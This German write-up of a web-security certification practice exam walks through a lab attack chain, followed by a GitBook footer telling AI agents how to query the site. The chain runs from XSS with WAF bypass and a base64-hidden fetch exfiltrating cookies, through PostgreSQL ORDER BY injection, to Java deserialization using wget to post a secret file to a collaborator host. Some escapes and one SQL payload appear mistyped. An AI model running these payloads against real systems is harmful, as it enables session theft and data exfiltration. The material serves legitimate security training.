> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/bscp-certification-practical-guide/writeup-practice-exam-1-bscp.md).

# Ausarbeitung zur BSCP-Prüfung 1

## Stufe 1: Erster Zugriff (Cross-Site Scripting - XSS)

Ziel: Forschungs-Panel. Vektor: Einschleusen von JavaScript über das DOM innerhalb eines JSON-Objekts.

#### 1. Analyse der Injektionsstelle

Der Suchbegriff wird in einer JavaScript-Variablen reflektiert:

```javascript
var searchResultsObj = {"results":[],"searchTerm":"test"}
```

```javascript
"};alert(1);//
```

#### 2. WAF-Bypass und Exfiltration

Direkte Verwendung von `document.cookie` löst die WAF aus ("Möglicherweise gefährlicher Suchbegriff"). Um dies zu umgehen, werden Hexadezimal-/Unicode-Kodierung oder `durch` die Funktion verwendet.

Test-Payload (Bypass):

```javascript
"};alert(document['/x63/x6f/x6f/x6b/x69/x65']);//
"};alert(document['/u0063/u006f/u006f/u006b/u0069/u0065']);//
"};with(document)alert(cookie);//
```

Endgültige Payload (Exfiltration über Collaborator):

* Wir verwenden `eval(atob(...))` um die `fetch` Anfrage an unseren Exploit-Server zu verbergen.

{% code overflow="wrap" %}

```javascript
"};eval(atob('ZmV0Y2goJ2h0dHBzOi8vZXhwbG9pdC0wYWVjMDBmMjA0NWI1ZDUzODMwMDg3YWMwMWVlMDA3Zi5leHBsb2l0LXNlcnZlci5uZXQvbG9nP2M9Jytkb2N1bWVudC5jb29raWUp'));//
```

{% endcode %}

#### 3. Endgültiger Exploit (an das Opfer ausgeliefert)

Das Skript leitet das Opfer zu der bösartigen URL mit der injizierten Payload weiter:

```javascript
<script>
location='https://0a5c00b104455dae835b889200d50093.web-security-academy.net/?SearchTerm=%22};eval(atob(%27ZmV0Y2goJ2h0dHBzOi8vZXhwbG9pdC0wYWVjMDBmMjA0NWI1ZDUzODMwMDg3YWMwMWVlMDA3Zi5leHBsb2l0LXNlcnZlci5uZXQvbG9nP2M9Jytkb2N1bWVudC5jb29raWUp%27));//'
</script>
```

## Stufe 2: Privilegieneskalation (SQL-Injection)

Vektor: SQL-Injection in `ORDER BY` Parameters

#### 1. Datenbankidentifizierung

Der durch eine nicht geschlossene Kette erzeugte Fehler bestätigt eine mögliche Injektion. Zeitbasierte Payloads werden getestet, um die Datenbank-Engine zu identifizieren:

* PostgreSQL (Ziel): `DATE,pg_sleep(10)`
* Aufgetretener Fehler: `konnte keinen Ordnungsoperator für den Typ void identifizieren`.
* Ursache: `pg_sleep()` gibt `void`, das nicht sortiert werden kann durch `ORDER BY`.

#### 2. Datenextraktion (fehlerbasiert)

Um das Passwort des Administrators zu extrahieren, erzwingt man einen Typumwandlungsfehler (Cast), um die Daten in der Fehlermeldung anzuzeigen.

Payload : `DATE,(CASE WHEN (1=1) THEN (SELECT 'a' FROM pg_sleep(10)) ELSE 'a' END)`

Ergebnis: Der Fehler enthüllt das Passwort: `invalid input syntax for type integer: "b235d711d5858825"`

<figure><img src="/files/5c7b73e65980fe8f8a3774ee4de006c613394812" alt=""><figcaption></figcaption></figure>

### Phase 3: Dateisystemzugriff (Java-Deserialisierung)

Zweck: Zugriff auf das Dateisystem (Exfiltration der `geheimen` Datei).

{% code overflow="wrap" %}

```bash
Cookie: admin-prefs=H4sIAAAAAAAA%2fzWPPU7DQBCFF0RSQcMJpkOi2PTQEH4iCkcKClJEOV6Pk8HrHbO7dmKQOA4VJ%2bAI3IU7sBahm%2fn09PS9zx81Cl6dW8w1msjigjZS1%2bJ0IM9o%2bRVzS3pa1OwWnsrw9vUxDqvv7FAdZeq4xE48R5qJFFGdZs%2fY4cSiW0%2bW0bNbX2bq5D%2fz0EqkF%2fWuDvawHei1SLWHo7ih%2bi%2bxa6Iab5kc%2baiu5j04rAk4wA16KwHm4qL0qOFJWqjYWiqg7qHEVOE1JNMGPUEUKJh0VIvHDcGKcpg2jWWDw1K4R1ORPwvpcEWePC7gloORjgZ1SBDudo0VjsO7JDMI9zCzuA1JT3zaSb9PDWuHQgEAAA%3d%3d
```

{% endcode %}

#### 1. Cookie-Analyse

Sobald wir als Admin verbunden sind, beobachten wir die `admin-prefs` Cookie verändert.

* Format: URL-kodiert -> Base64 -> Gzip -> serialisiertes Java-Objekt.

<figure><img src="/files/c6688acee7d89554ff46619b7802182c6597c9e8" alt=""><figcaption></figcaption></figure>

#### 2. Ausnutzung (Ysoserial)

Die Anwendung verwendet eine verwundbare Bibliothek (CommonsCollections). Nach dem Testen der verschiedenen Versionen (1 bis 8) ist die Version CommonsCollections6 funktionsfähig.

<figure><img src="/files/a9b967cb814d61e0e1ebeca1441fd9b64dca73a9" alt=""><figcaption></figcaption></figure>

#### 3. Exfiltrations-Payload

Wir erzeugen eine Payload, um den Inhalt der `/home/carlos/secret` Datei per POST-Anfrage an unseren Collaborator-Server zu senden:

{% code overflow="wrap" %}

```bash
CommonsCollections6 '/usr/bin/wget --post-file /home/carlos/secret https://xnoho8l20pznclvof0aaw7ysjjpad01p.oastify.com'
```

{% endcode %}

* Vorgehen: Binärdatei in Gzip komprimieren -> in Base64 kodieren -> Wert ersetzen in `admin-prefs` Cookie verändert.

<figure><img src="/files/f3cf87e09f90602f1f74ec6a26415a3869e8b508" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/bscp-certification-practical-guide/writeup-practice-exam-1-bscp.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
